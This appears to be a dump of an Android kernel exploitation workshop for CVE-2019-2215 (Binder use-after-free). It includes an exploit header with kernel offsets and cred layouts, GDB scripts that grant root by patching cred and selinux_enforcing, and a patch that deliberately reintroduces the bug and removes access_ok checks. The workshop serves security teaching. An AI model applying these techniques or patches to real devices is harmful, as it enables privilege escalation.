40 | commit f5cb779ba16334b45ba8946d6bfa6d9834d1527f upstream.
41 |
42 | binder_poll() passes the thread->wait waitqueue that
43 | can be slept on for work. When a thread that uses
44 | epoll explicitly exits using BINDER_THREAD_EXIT,
45 | the waitqueue is freed, but it is never removed
46 | from the corresponding epoll data structure. When
47 | the process subsequently exits, the epoll cleanup
48 | code tries to access the waitlist, which results in
49 | a use-after-free.
50 |
51 | Prevent this by using POLLFREE when the thread exits.
52 |
53 | Signed-off-by: Martijn Coenen
54 | Reported-by: syzbot
55 | Signed-off-by: Greg Kroah-Hartman
56 |
57 | diff --git a/drivers/android/binder.c b/drivers/android/binder.c
58 | index a340766b51fe..2ef8bd29e188 100644
59 | --- a/drivers/android/binder.c
60 | +++ b/drivers/android/binder.c
61 | @@ -4302,6 +4302,18 @@ static int binder_thread_release(struct binder_proc *proc,
62 | if (t)
63 | spin_lock(&t->lock);
64 | }
65 | +
66 | + /*
67 | + * If this thread used poll, make sure we remove the waitqueue
68 | + * from any epoll data structures holding it with POLLFREE.
69 | + * waitqueue_active() is safe to use here because we're holding
70 | + * the inner lock.
71 | + */
72 | + if ((thread->looper & BINDER_LOOPER_STATE_POLL) &&
73 | + waitqueue_active(&thread->wait)) {
74 | + wake_up_poll(&thread->wait, POLLHUP | POLLFREE);
75 | + }
76 | +
77 | binder_inner_proc_unlock(thread->proc);
78 |
79 | if (send_reply)
80 | ```
81 |
82 |
83 | > **Note:** You won't be able to see this commit history because we did a shallow clone. However, I have a **full** clone of the `q-goldfish-android-goldfish-4.14-dev` branch.
84 |
--------------------------------------------------------------------------------
/exploit/common.h:
--------------------------------------------------------------------------------
1 | /*++
2 |
3 | ## # # ### ### ### # ### ### ### # ###
4 | # # # # # # # ## # # # # ## #
5 | # # # ## ### ### # # # ### ### ### ### # ###
6 | # # # # # # # # # # # # #
7 | ## # ### ### ### ### ### ### ### ### ###
8 | @HackSysTeam
9 |
10 | CVE-2019-2215
11 | Android Binder Use after Free
12 | CloudFuzz TechnoLabs Pvt. Ltd.
13 |
14 | https://groups.google.com/d/msg/syzkaller-bugs/QyXdgUhAF50/g-FXVo1OAwAJ
15 | https://bugs.chromium.org/p/project-zero/issues/detail?id=1942
16 | https://googleprojectzero.blogspot.com/2019/11/bad-binder-android-in-wild-exploit.html
17 |
18 | Thanks:
19 | @maddiestone
20 | @tehjh
21 |
22 | --*/
23 |
24 | #pragma once
25 |
26 | #ifndef __COMMON_H__
27 | #define __COMMON_H__
28 |
29 | #include
30 | #include
31 | #include
32 | #include
33 | #include
34 | #include
35 | #include
36 | #include
37 | #include
38 | #include
39 | #include
40 | #include
41 | #include
42 | #include
43 |
44 |
45 | /**
46 | * Defines
47 | */
48 |
49 | #define BANNER \
50 | " \n" \
51 | " ## # # ### ### ### # ### ### ### # ### \n" \
52 | " # # # # # # # ## # # # # ## # \n" \
53 | " # # # ## ### ### # # # ### ### ### ### # ### \n" \
54 | " # # # # # # # # # # # # # \n" \
55 | " ## # ### ### ### ### ### ### ### ### ### \n" \
56 | " @HackSysTeam \n" \
57 | " \n"
58 |
59 | #define INFO(...) printf(__VA_ARGS__)
60 | #define ERR(...) printf(__VA_ARGS__)
61 |
62 |
63 | #define OFFSET_TASK_STRUCT_ADDR_LIMIT 0xA18
64 |
65 | #define GLOBAL_ROOT_UID (uint32_t)0
66 | #define GLOBAL_ROOT_GID (uint32_t)0
67 | #define SECUREBITS_DEFAULT (uint32_t)0x00000000
68 | #define CAP_EMPTY_SET (uint64_t)0
69 | #define CAP_FULL_SET (uint64_t)0x3FFFFFFFFF
70 |
71 |
72 | /**
73 | * System.map
74 | *
75 | * ffffffff80200000 T _stext
76 | * ffffffff816acfe8 B selinux_enforcing
77 | * ffffffff81433ac0 D init_nsproxy
78 | */
79 |
80 | //
81 | // offset = 0xffffffff81433ac0 - 0xffffffff80200000
82 | //
83 |
84 | #define SYMBOL_OFFSET_init_nsproxy (ptrdiff_t)0x1233ac0
85 |
86 | //
87 | // I have found that this offset changes every compile.
88 | // If the exploit fails in patching selinux_enforcing,
89 | // try updating this offset
90 | //
91 |
92 | #define SYMBOL_OFFSET_selinux_enforcing (ptrdiff_t)0x14acfe8
93 |
94 |
95 | /**
96 | * Data structures
97 | */
98 |
99 | struct binder_thread {
100 | uint8_t junk1[160]; /* 0 0xa0 */
101 | uint8_t wait[24]; /* 0xa0 0x18 */
102 | uint8_t junk2[224]; /* 0xb8 0xe0 */
103 | } __attribute__((packed)); /* size: 0x198 */
104 |
105 |
106 | struct task_struct {
107 | uint8_t junk1[1256]; /* 0 0x4e8 */
108 | pid_t pid; /* 0x4e8 0x4 */
109 | uint8_t junk2[412]; /* 0x4ec 0x19c */
110 | uint64_t cred; /* 0x688 0x8 */
111 | uint8_t junk3[48]; /* 0x690 0x30 */
112 | uint64_t nsproxy; /* 0x6c0 0x8 */
113 | uint8_t junk4[1944]; /* 0x6c8 0x798 */
114 | } __attribute__((packed)); /* size: 0xe60 */
115 |
116 |
117 | struct cred {
118 | int32_t usage; /* 0 0x4 */
119 | uint32_t uid; /* 0x4 0x4 */
120 | uint32_t gid; /* 0x8 0x4 */
121 | uint32_t suid; /* 0xc 0x4 */
122 | uint32_t sgid; /* 0x10 0x4 */
123 | uint32_t euid; /* 0x14 0x4 */
124 | uint32_t egid; /* 0x18 0x4 */
125 | uint32_t fsuid; /* 0x1c 0x4 */
126 | uint32_t fsgid; /* 0x20 0x4 */
127 | uint32_t securebits; /* 0x24 0x4 */
128 | uint64_t cap_inheritable; /* 0x28 0x8 */
129 | uint64_t cap_permitted; /* 0x30 0x8 */
130 | uint64_t cap_effective; /* 0x38 0x8 */
131 | uint64_t cap_bset; /* 0x40 0x8 */
132 | uint64_t cap_ambient; /* 0x48 0x8 */
133 | uint8_t junk2[40]; /* 0x50 0x28 */
134 | void *security; /* 0x78 0x8 */
135 | uint8_t junk3[40]; /* 0x80 0x28 */
136 | } __attribute__((packed)); /* size: 0xA8 */
137 |
138 | #endif //__COMMON_H__
139 |
--------------------------------------------------------------------------------
/gdb/dynamic-analysis.py:
--------------------------------------------------------------------------------
1 | # -*- coding: utf-8 -*-
2 | #
3 | # ##### #######
4 | # # # # #### # # ##### # # # ###### ######
5 | # # # # # # # # # # # # # #
6 | # # # # # # # # # ##### # # # #
7 | # # # # # # # # # # # # # #
8 | # # # # # # # # # # # # # # #
9 | # ##### ###### #### #### ##### # #### ###### ######
10 | # @HackSysTeam
11 | #
12 |
13 | import gdb
14 |
15 |
16 | def get_current_task():
17 | per_cpu_offset = gdb.parse_and_eval("__per_cpu_offset[0]")
18 | current_task_offset = gdb.parse_and_eval("current_task").address
19 |
20 | current_task = gdb.parse_and_eval(
21 | "*(struct task_struct *)*(long *){0}".format(
22 | long(per_cpu_offset) + long(current_task_offset))
23 | )
24 | return current_task
25 |
26 |
27 | def get_current_proc_comm():
28 | current_task = get_current_task()
29 | return current_task["comm"].string()
30 |
31 |
32 | binder_thread_address = None
33 |
34 | def set_dump_binder_thread(parameters):
35 | global binder_thread_address
36 |
37 | binder_thread_address = parameters["thread"]
38 | gdb.execute("x/51gx {0}".format(binder_thread_address))
39 | gdb.write("\n")
40 |
41 |
42 | def dump_binder_thread(parameters):
43 | if not binder_thread_address:
44 | return
45 |
46 | if long(binder_thread_address) + 0xA0 == parameters["wq_head"]:
47 | gdb.execute("x/51gx {0}".format(binder_thread_address))
48 | gdb.write("\n")
49 |
50 |
51 | class EnterBp(gdb.Breakpoint):
52 | def __init__(
53 | self, proc_cmd, entry_symbol, param_list=[],
54 | exit_symbol=None, break_at_entry=False, entry_callback=None,
55 | break_at_exit=False, exit_callback=None, set_exit_bp = False
56 | ):
57 | super(EnterBp, self).__init__(entry_symbol)
58 |
59 | self.silent = True
60 | self.proc_cmd = proc_cmd
61 | self.function_name = entry_symbol
62 | self.function_params = param_list
63 | self.exit_symbol = exit_symbol
64 | self.break_at_entry = break_at_entry
65 | self.entry_callback = entry_callback
66 | self.break_at_exit = break_at_exit
67 | self.exit_callback = exit_callback
68 | self.set_exit_bp = set_exit_bp
69 | self.exit_bp_already_set = False
70 | self.parameter = {}
71 |
72 | def stop(self):
73 | is_right_process = False
74 |
75 | if self.proc_cmd in get_current_proc_comm():
76 | is_right_process = True
77 |
78 | if not is_right_process:
79 | return False
80 |
81 | for i, param_name in enumerate(self.function_params):
82 | self.parameter[param_name] = gdb.newest_frame().read_var(param_name)
83 |
84 | # build the parameter value list
85 | params = ""
86 | param_length = len(self.parameter)
87 |
88 | for i, (key, value) in enumerate(self.parameter.items()):
89 | tmp = "{key}={value}".format(key=key, value=value)
90 | params += tmp
91 |
92 | if not i == param_length - 1:
93 | params += ", "
94 |
95 | # print the function name and the parameters with their values
96 | gdb.write(
97 | "{function}({param})(enter)\n".format(
98 | function=self.function_name, param=params
99 | )
100 | )
101 |
102 | # call the entry callback
103 | if self.entry_callback:
104 | self.entry_callback(self.parameter)
105 |
106 | # set the exit breakpoint
107 | if self.set_exit_bp and not self.exit_bp_already_set:
108 | ExitBp(
109 | proc_cmd=self.proc_cmd, entry_symbol=self.function_name,
110 | exit_symbol=self.exit_symbol, params=self.parameter,
111 | break_at_exit=self.break_at_exit, exit_callback=self.exit_callback
112 | )
113 | self.exit_bp_already_set = True
114 |
115 | # should we break in debugger
116 | return self.break_at_entry
117 |
118 |
119 | class ExitBp(gdb.Breakpoint):
120 | def __init__(
121 | self, proc_cmd, entry_symbol, exit_symbol, params={},
122 | break_at_exit=False, exit_callback=None,
123 | ):
124 | super(ExitBp, self).__init__(exit_symbol)
125 |
126 | self.silent = True
127 | self.proc_cmd = proc_cmd
128 | self.entry_symbol = entry_symbol
129 | self.exit_symbol = exit_symbol
130 | self.parameter = params
131 | self.break_at_exit = break_at_exit
132 | self.exit_callback = exit_callback
133 |
134 | def stop(self):
135 | is_right_process = False
136 |
137 | if self.proc_cmd in get_current_proc_comm():
138 | is_right_process = True
139 |
140 | if not is_right_process:
141 | return False
142 |
143 | gdb.write(
144 | "{entry}_{exit}(exit)\n".format(
145 | entry=self.entry_symbol, exit=self.exit_symbol
146 | )
147 | )
148 |
149 | # call the entry callback
150 | if self.exit_callback:
151 | self.exit_callback(self.parameter)
152 |
153 | return self.break_at_exit
154 |
155 |
156 | # clear all prior breakpoints
157 | gdb.execute("delete")
158 |
159 | #
160 | # list of breakpoints
161 | #
162 |
163 | # before binder_thread is freed
164 | EnterBp(
165 | proc_cmd="cve-2019-2215", entry_symbol="binder_free_thread",
166 | param_list=["thread"], exit_symbol=None, break_at_entry=False,
167 | entry_callback=set_dump_binder_thread, break_at_exit=False,
168 | exit_callback=None, set_exit_bp=False
169 | )
170 |
171 | # before and after the unlink operation happens
172 | # entry_symbol = remove_wait_queue
173 | # exit_symbol = wait.c:52
174 | EnterBp(
175 | proc_cmd="cve-2019-2215", entry_symbol="remove_wait_queue",
176 | param_list=["wq_head", "wq_entry"], exit_symbol="wait.c:52",
177 | break_at_entry=False, entry_callback=dump_binder_thread,
178 | break_at_exit=False, exit_callback=dump_binder_thread,
179 | set_exit_bp=True
180 | )
181 |
--------------------------------------------------------------------------------
/gdb/root-me.py:
--------------------------------------------------------------------------------
1 | # -*- coding: utf-8 -*-
2 |
3 | import gdb
4 | import struct
5 |
6 |
7 | #
8 | # https://github.com/torvalds/linux/tree/master/scripts/gdb
9 | #
10 |
11 | def offset_of(typeobj, field):
12 | element = gdb.Value(0).cast(typeobj)
13 | return int(str(element[field].address).split()[0], 16)
14 |
15 |
16 | def container_of(ptr, typeobj, member):
17 | return (ptr.cast(gdb.lookup_type("long")) - offset_of(typeobj, member)).cast(typeobj)
18 |
19 |
20 | def task_lists():
21 | task_ptr_type = gdb.lookup_type("struct task_struct").pointer()
22 | init_task = gdb.parse_and_eval("init_task").address
23 | t = g = init_task
24 |
25 | while True:
26 | while True:
27 | yield t
28 |
29 | t = container_of(t["thread_group"]["next"],
30 | task_ptr_type, "thread_group")
31 | if t == g:
32 | break
33 |
34 | t = g = container_of(g["tasks"]["next"], task_ptr_type, "tasks")
35 | if t == init_task:
36 | return
37 |
38 |
39 | def get_task_by_pid(pid):
40 | for task in task_lists():
41 | if int(task["pid"]) == pid:
42 | return task
43 | return None
44 |
45 |
46 | def read32(address):
47 | return struct.unpack("
34 | This is free software: you are free to change and redistribute it.
35 | There is NO WARRANTY, to the extent permitted by law.
36 |
37 | ashfaq@hacksys:~$ gdb -quiet
38 | GEF for linux ready, type `gef' to start, `gef config' to configure
39 | 77 commands loaded for GDB 8.2 using Python engine 2.7
40 | [*] 3 commands could not be loaded, run `gef missing` to know why.
41 | gef> py
42 | >import sys
43 | >print sys.version_info
44 | >end
45 | sys.version_info(major=2, minor=7, micro=17, releaselevel='final', serial=0)
46 | gef> q
47 |
48 | ashfaq@hacksys:~$ readelf -d $(which gdb) | grep python
49 | 0x0000000000000001 (NEEDED) Shared library: [libpython2.7.so.1.0]
50 |
51 | ashfaq@hacksys:~$ python --version
52 | Python 2.7.17
53 | ```
54 |
55 | If **GDB** is not installed in your system, please make sure to install it with **python 2.7** support.
56 |
57 |
58 | ### Workshop Repository {#workshop-repository}
59 |
60 | Open a terminal window and type the below given command to **clone** the **workshop** repository.
61 |
62 | ```bash
63 | ashfaq@hacksys:~$ git clone https://github.com/cloudfuzz/android-kernel-exploitation ~/workshop
64 | ```
65 |
66 |
67 | ### Android Studio {#android-studio}
68 |
69 | Installation instruction for **Android Studio** can be found here https://developer.android.com/studio/install
70 |
71 | Once **Android Studio** is installed, make sure to add `~/Android/Sdk/platform-tools` and `~/Android/Sdk/emulator` to your `PATH` environment variable. This will allow as to access `adb` and `emulator` command without specifying the complete path.
72 |
73 |
74 | ### Android NDK {#android-ndk}
75 |
76 | Installation instruction for **Android NDK** can be found here https://developer.android.com/studio/projects/install-ndk
77 |
78 |
79 |
80 |
81 |
82 |
83 |
84 |
85 |
86 |
87 |
88 |
89 |
90 | > I'm currently using **Android NDK** version: **21.0.6113669**. However, the latest version of the **Android NDK** should be fine.
91 |
92 |
93 | ### Android Virtual Device {#android-virtual-device}
94 |
95 | For this workshop, we are going to use **Android 10.0 (Q)** `Google Play Intel x86 Atom_64 System Image`.
96 |
97 |
98 |
99 |
100 |
101 | Once you have downloaded the **system image**, we will have to create a **Virtual Device**.
102 |
103 |
104 |
105 |
106 |
107 |
108 |
109 |
110 |
111 |
112 |
113 |
114 |
115 |
116 |
117 |
118 |
119 |
120 |
121 |
122 |
123 |
124 |
125 |
126 |
127 | You can also launch the virtual device that we created from the command line.
128 |
129 | ```bash
130 | ashfaq@hacksys:~/workshop$ emulator -avd CVE-2019-2215
131 | ```
132 |
133 |
134 | ### Android Kernel Source Code {#android-kernel-source-code}
135 |
136 | **Android** is powered by **Linux** kernel. For this workshop, we are going to use `q-goldfish-android-goldfish-4.14-dev` branch of the Android kernel source repository.
137 |
138 |
139 | > **Note:** For more information on building custom kernels for Android visit https://source.android.com/setup/build/building-kernels
140 |
141 |
142 | Google suggests to use `repo` for *synchronizing* the kernel source tree. Read more about `repo` here: https://gerrit.googlesource.com/git-repo/+/refs/heads/master/README.md
143 |
144 | Once `repo` has been installed, you can now start *synchronizing* the kernel source tree. This will also download the necessary build tools.
145 |
146 | We do not want to download the repository with all the commit history and different branches. So, we will do a *shallow* clone.
147 |
148 | Currently, I'm on [`182a76ba7053af521e4c0d5fd62134f1e323191d`](https://android.googlesource.com/kernel/goldfish/+log/182a76ba7053af521e4c0d5fd62134f1e323191d) *commit id* and `repo` command does not allow us to specify a *commit id* to clone from command line. So, I have created a **custom manifest** file that we will replace after the `repo` has been initialized.
149 |
150 | ```xml
151 |
152 |
153 |
154 |
155 |
156 |
157 |
158 |
159 |
160 |
161 |
162 |
163 | ```
164 |
165 | The only change I did in this custom manifest was to specify the *commit hash* in the revision attribute instead of branch name.
166 |
167 | ```diff
168 | 6c6
169 | <
170 | ---
171 | >
172 | ```
173 |
174 |
175 | > **Note:** It will take around **12 GB** of disk space, so make sure you have enough *space* on the machine before running the below commands.
176 |
177 |
178 | ```bash
179 | ashfaq@hacksys:~$ mkdir ~/workshop
180 | ashfaq@hacksys:~$ cd workshop/
181 | ashfaq@hacksys:~/workshop$ mkdir android-4.14-dev
182 | ashfaq@hacksys:~/workshop$ cd android-4.14-dev/
183 | ashfaq@hacksys:~/workshop/android-4.14-dev$ repo init --depth=1 -u https://android.googlesource.com/kernel/manifest -b q-goldfish-android-goldfish-4.14-dev
184 | ashfaq@hacksys:~/workshop/android-4.14-dev$ cp ../custom-manifest/default.xml .repo/manifests/
185 | ashfaq@hacksys:~/workshop/android-4.14-dev$ repo sync -c --no-tags --no-clone-bundle -j`nproc`
186 | ```
187 |
188 | Once the source tree has been *synchronized*, we are good to proceed with the workshop.
189 |
--------------------------------------------------------------------------------
/gitbook/chapters/scripted-privilege-escalation.md:
--------------------------------------------------------------------------------
1 | # Scripted Privilege Escalation
2 |
3 | Before moving to **[Root Cause Analysis](root-cause-analysis.md)** chapter, let's first see how we can achieve **privilege escalation** using custom **GDB** script.
4 |
5 | In **[Build Kernel](vulnerability-trigger.md#build-kernel)** and **[Boot Kernel](vulnerability-trigger.md#boot-kernel)**, you learned how to **build** and **boot** a custom kernel in **emulator**.
6 |
7 | **GDB** supports python scripting, let's see how we can use python for **debugging automation**.
8 |
9 |
10 | ## Kernel Debugging {#kernel-debugging}
11 |
12 | **emulator** uses `qemu` in the background and it supports **gdbserver** known as **gdbstub**. We can use it to do **kernel debugging**, if we have the `vmlinux` file for the corresponding kernel.
13 |
14 | Let's boot the custom kernel that we built, but this time, with **gdbstub** enabled. For this we will need two terminal windows.
15 |
16 | In the first window, we will run the **emulator** with **gdbstub** enabled.
17 |
18 | ```bash
19 | ashfaq@hacksys:~/workshop$ emulator -show-kernel -no-snapshot -wipe-data -avd CVE-2019-2215 -kernel ~/workshop/android-4.14-dev/out/kasan/dist/bzImage -qemu -s -S
20 | ```
21 |
22 |
23 | > **Note:** `-qemu` arguments states that the next parameters will be passed to underlying `qemu` emulator. `-s` argument is for `qemu` which is a shorthand for `-gdb tcp::1234`. `-S` argument makes `qemu` to wait for the debugger to connect.
24 |
25 |
26 | In the second window, we will use **GDB** to attach to the `qemu` instance.
27 |
28 | ```bash
29 | ashfaq@hacksys:~/workshop$ gdb -quiet ~/workshop/android-4.14-dev/out/kasan/dist/vmlinux -ex 'target remote :1234'
30 | ```
31 |
32 | ```
33 | GEF for linux ready, type `gef' to start, `gef config' to configure
34 | 77 commands loaded for GDB 8.2 using Python engine 2.7
35 | [*] 3 commands could not be loaded, run `gef missing` to know why.
36 | Reading symbols from /home/ashfaq/workshop/android-4.14-dev/out/kasan/dist/vmlinux...done.
37 | Remote debugging using :1234
38 | warning: while parsing target description (at line 1): Could not load XML document "i386-64bit.xml"
39 | warning: Could not load XML target description; ignoring
40 | 0x000000000000fff0 in exception_stacks ()
41 | gef> c
42 | Continuing.
43 | ```
44 |
45 | Once the **Android** is booted completely, we can open the third terminal window and launch `adb` shell.
46 |
47 | ```bash
48 | ashfaq@hacksys:~/workshop$ adb shell
49 | generic_x86_64:/ $ uname -a
50 | Linux localhost 4.14.150+ #1 repo:q-goldfish-android-goldfish-4.14-dev SMP PREEMPT Sat Apr x86_64
51 | generic_x86_64:/ $ id
52 | uid=2000(shell) gid=2000(shell) groups=2000(shell),1004(input),1007(log),1011(adb),1015(sdcard_rw),1028(sdcard_r),3001(net_bt_admin),3002(net_bt),3003(inet),3006(net_bw_stats),3009(readproc),3011(uhid) context=u:r:shell:s0
53 | generic_x86_64:/ $
54 | generic_x86_64:/ $ dmesg
55 | dmesg: klogctl: Permission denied
56 | 1|generic_x86_64:/ $
57 | 1|generic_x86_64:/ $ pidof sh
58 | 7474
59 | generic_x86_64:/ $
60 | ```
61 |
62 | In the `adb` shell window, we can see that currently we are running with `uid=2000(shell) gid=2000(shell)` and does not have rights to see `dmesg`. To read `dmesg`, we will need **root** privileges.
63 |
64 | `pidof sh` is `7474`, our goal is to use **kernel debugging** with **GDB** automation to do privilege escalation and give the **root** privileges to this `sh` process.
65 |
66 | Now, in the **GDB** window press **CTRL+C** to break in **GDB** so that we can issue some commands.
67 |
68 | You can find `root-me.py` which is an automation built on top of `GDB` python scripting in `~/workshop/gdb`.
69 |
70 | ```py
71 | # -*- coding: utf-8 -*-
72 |
73 | import gdb
74 | import struct
75 |
76 | [...]
77 |
78 | def write32(address, value):
79 | gdb.selected_inferior().write_memory(address, struct.pack(" c
160 | Continuing.
161 | ^C
162 | Thread 1 received signal SIGINT, Interrupt.
163 | native_safe_halt () at /home/ashfaq/workshop/android-4.14-dev/goldfish/arch/x86/include/asm/irqflags.h:61
164 | 61 }
165 | gef> source ~/workshop/gdb/root-me.py
166 | gef> root-by-pid 7474
167 | [+] Rooting
168 | [*] PID: 0x1d32
169 | [*] Cmd: sh
170 | [*] Task: 0xffff888033521d40
171 | [+] Patching cred
172 | [*] Cred: 0xffff8880580f1480
173 | [+] Patching selinux_enforcing
174 | [*] selinux_enforcing: 0xffffffff82b34028
175 | [*] Rooting complete
176 | gef> c
177 | Continuing.
178 | ```
179 |
180 | Let's verify if `sh` process is having **root** privileges.
181 |
182 | ```bash
183 | generic_x86_64:/ $ dmesg
184 | dmesg: klogctl: Permission denied
185 | 1|generic_x86_64:/ $
186 | 1|generic_x86_64:/ $ id
187 | uid=0(root) gid=0(root) groups=0(root),1004(input),1007(log),1011(adb),1015(sdcard_rw),1028(sdcard_r),3001(net_bt_admin),3002(net_bt),3003(inet),3006(net_bw_stats),3009(readproc),3011(uhid) context=u:r:shell:s0
188 | generic_x86_64:/ $
189 | generic_x86_64:/ $ dmesg | head
190 | [ 34.036876] apexd: Scanning /product/apex for embedded keys
191 | [ 34.037889] apexd: ... does not exist. Skipping
192 | [ 34.038743] apexd: Populating APEX database from mounts...
193 | [ 34.040108] apexd: Failed to walk /product/apex : Can't open /product/apex for reading : No such file or directory
194 | [ 34.042497] apexd: Found "/apex/com.android.tzdata@290000000"
195 | [ 34.043586] apexd: Found "/apex/com.android.runtime@1"
196 | [ 34.044542] apexd: 2 packages restored.
197 | [ 34.054885] type=1400 audit(1586624810.629:5): avc: denied { getattr } for comm="ls" path="/data/misc" dev="vdc" ino=13 scontext=u:r:toolbox:s0 tcontext=u:object_r:unlabeled:s0 tclass=dir permissive=0
198 | [ 34.057660] type=1400 audit(1586624810.659:6): avc: denied { ioctl } for comm="init" path="/data/vendor" dev="vdc" ino=21 ioctlcmd=0x6615 scontext=u:r:init:s0 tcontext=u:object_r:unlabeled:s0 tclass=dir permissive=0
199 | [ 34.073716] type=1400 audit(1586624810.659:6): avc: denied { ioctl } for comm="init" path="/data/vendor" dev="vdc" ino=21 ioctlcmd=0x6615 scontext=u:r:init:s0 tcontext=u:object_r:unlabeled:s0 tclass=dir permissive=0
200 | ```
201 |
202 | Awesome, **privilege escalation** is successful and we are going to achieve the same thing using a **kernel vulnerability**.
203 |
--------------------------------------------------------------------------------
/gitbook/chapters/vulnerability-trigger.md:
--------------------------------------------------------------------------------
1 | # Vulnerability Trigger
2 |
3 | In **[Android Kernel Source Code](environment-setup.md#android-kernel-source-code)** section, we *synchronized* `q-goldfish-android-goldfish-4.14-dev` branch. However, `CVE-2019-2215` is already patched in `q-goldfish-android-goldfish-4.14-dev`.
4 |
5 | We will **reintroduce** the **vulnerability** by applying a custom *patch* and then build it with **Kernel Address Sanitizer (KASan)** support.
6 |
7 |
8 | ## Reintroduction {#reintroduction}
9 |
10 | You can find the custom *patch* in the `workshop/patch` directory which will **reintroduce** the vulnerability again.
11 |
12 | ```diff
13 | diff --git a/drivers/android/binder.c b/drivers/android/binder.c
14 | index f6ddec245187..55e2748a13e4 100644
15 | --- a/drivers/android/binder.c
16 | +++ b/drivers/android/binder.c
17 | @@ -4768,10 +4768,12 @@ static int binder_thread_release(struct binder_proc *proc,
18 | * waitqueue_active() is safe to use here because we're holding
19 | * the inner lock.
20 | */
21 | + /*
22 | if ((thread->looper & BINDER_LOOPER_STATE_POLL) &&
23 | waitqueue_active(&thread->wait)) {
24 | wake_up_poll(&thread->wait, POLLHUP | POLLFREE);
25 | }
26 | + */
27 |
28 | binder_inner_proc_unlock(thread->proc);
29 |
30 | @@ -4781,8 +4783,10 @@ static int binder_thread_release(struct binder_proc *proc,
31 | * descriptor being closed); ep_remove_waitqueue() holds an RCU read
32 | * lock, so we can be sure it's done after calling synchronize_rcu().
33 | */
34 | + /*
35 | if (thread->looper & BINDER_LOOPER_STATE_POLL)
36 | synchronize_rcu();
37 | + */
38 |
39 | if (send_reply)
40 | binder_send_failed_reply(send_reply, BR_DEAD_REPLY);
41 | diff --git a/lib/iov_iter.c b/lib/iov_iter.c
42 | index 7b2fd5f251f2..67af61637f55 100644
43 | --- a/lib/iov_iter.c
44 | +++ b/lib/iov_iter.c
45 | @@ -132,19 +132,21 @@
46 |
47 | static int copyout(void __user *to, const void *from, size_t n)
48 | {
49 | - if (access_ok(VERIFY_WRITE, to, n)) {
50 | + /*if (access_ok(VERIFY_WRITE, to, n)) {
51 | kasan_check_read(from, n);
52 | n = raw_copy_to_user(to, from, n);
53 | - }
54 | + }*/
55 | + n = raw_copy_to_user(to, from, n);
56 | return n;
57 | }
58 |
59 | static int copyin(void *to, const void __user *from, size_t n)
60 | {
61 | - if (access_ok(VERIFY_READ, from, n)) {
62 | + /*if (access_ok(VERIFY_READ, from, n)) {
63 | kasan_check_write(to, n);
64 | n = raw_copy_from_user(to, from, n);
65 | - }
66 | + }*/
67 | + n = raw_copy_from_user(to, from, n);
68 | return n;
69 | }
70 |
71 |
72 | ```
73 |
74 | Let's apply the *patch* and see which files are modified.
75 |
76 | ```bash
77 | ashfaq@hacksys:~/workshop/android-4.14-dev$ cd goldfish/
78 | ashfaq@hacksys:~/workshop/android-4.14-dev/goldfish$ git status
79 | Not currently on any branch.
80 | nothing to commit, working tree clean
81 | ashfaq@hacksys:~/workshop/android-4.14-dev/goldfish$ git apply ~/workshop/patch/cve-2019-2215.patch
82 | ashfaq@hacksys:~/workshop/android-4.14-dev/goldfish$ git status
83 | Not currently on any branch.
84 | Changes not staged for commit:
85 | (use "git add ..." to update what will be committed)
86 | (use "git checkout -- ..." to discard changes in working directory)
87 |
88 | modified: drivers/android/binder.c
89 | modified: lib/iov_iter.c
90 |
91 | no changes added to commit (use "git add" and/or "git commit -a")
92 | ```
93 |
94 | Patching `drivers/android/binder.c` is fine and understandable. But, why we need to *patch* `lib/iov_iter.c`?
95 |
96 | This is because we are also going to use `struct iovec` as the corruption target as used by **Maddie Stone** and **Jann Horn** of **Project Zero**. However, they wrote the exploit for **Android 4.4** kernel which does not have these **additional checks** in `lib/iov_iter.c`.
97 |
98 | That's the reason we revert these new checks with a *patch*. You will have better idea what I'm talking about as we proceed with the workshop.
99 |
100 |
101 | ## Build Kernel With KASan {#build-kernel-with-kasan}
102 |
103 | To build the kernel with **KASan** support we will need a configuration file. You will find the config file in `workshop/build-configs/goldfish.x86_64.kasan` directory.
104 |
105 | ```bash
106 | ARCH=x86_64
107 | BRANCH=kasan
108 |
109 | CC=clang
110 | CLANG_PREBUILT_BIN=prebuilts-master/clang/host/linux-x86/clang-r377782b/bin
111 | BUILDTOOLS_PREBUILT_BIN=build/build-tools/path/linux-x86
112 | CLANG_TRIPLE=x86_64-linux-gnu-
113 | CROSS_COMPILE=x86_64-linux-androidkernel-
114 | LINUX_GCC_CROSS_COMPILE_PREBUILTS_BIN=prebuilts/gcc/linux-x86/x86/x86_64-linux-android-4.9/bin
115 |
116 | KERNEL_DIR=goldfish
117 | EXTRA_CMDS=''
118 | STOP_SHIP_TRACEPRINTK=1
119 |
120 | FILES="
121 | arch/x86/boot/bzImage
122 | vmlinux
123 | System.map
124 | "
125 |
126 | DEFCONFIG=x86_64_ranchu_defconfig
127 | POST_DEFCONFIG_CMDS="check_defconfig && update_kasan_config"
128 |
129 | function update_kasan_config() {
130 | ${KERNEL_DIR}/scripts/config --file ${OUT_DIR}/.config \
131 | -e CONFIG_KASAN \
132 | -e CONFIG_KASAN_INLINE \
133 | -e CONFIG_TEST_KASAN \
134 | -e CONFIG_KCOV \
135 | -e CONFIG_SLUB \
136 | -e CONFIG_SLUB_DEBUG \
137 | -e CONFIG_SLUB_DEBUG_ON \
138 | -d CONFIG_SLUB_DEBUG_PANIC_ON \
139 | -d CONFIG_KASAN_OUTLINE \
140 | -d CONFIG_KERNEL_LZ4 \
141 | -d CONFIG_RANDOMIZE_BASE
142 | (cd ${OUT_DIR} && \
143 | make O=${OUT_DIR} $archsubarch CROSS_COMPILE=${CROSS_COMPILE} olddefconfig)
144 | }
145 | ```
146 |
147 | Now, let's use this config file and start the build process.
148 |
149 | ```bash
150 | ashfaq@hacksys:~/workshop/android-4.14-dev$ BUILD_CONFIG=../build-configs/goldfish.x86_64.kasan build/build.sh
151 | ```
152 |
153 | You can find the built kernel and other files in `workshop/android-4.14-dev/out/kasan/dist`.
154 |
155 | ```bash
156 | ashfaq@hacksys:~/workshop/android-4.14-dev$ nm out/kasan/dist/vmlinux | grep kasan | head
157 | 000000004cfd027e A __crc_kasan_check_read
158 | 000000009da7c655 A __crc_kasan_check_write
159 | 0000000074961168 A __crc_kasan_kmalloc
160 | 0000000047f78877 A __crc_kasan_restore_multi_shot
161 | 0000000097645739 A __crc_kasan_save_enable_multi_shot
162 | ffffffff806d4d62 T kasan_add_zero_shadow
163 | ffffffff806d3a9c T kasan_alloc_pages
164 | ffffffff806d3b44 T kasan_cache_create
165 | ffffffff806d55b9 T kasan_cache_shrink
166 | ffffffff806d55c4 T kasan_cache_shutdown
167 | ```
168 |
169 |
170 | ## Boot Kernel {#boot-kernel}
171 |
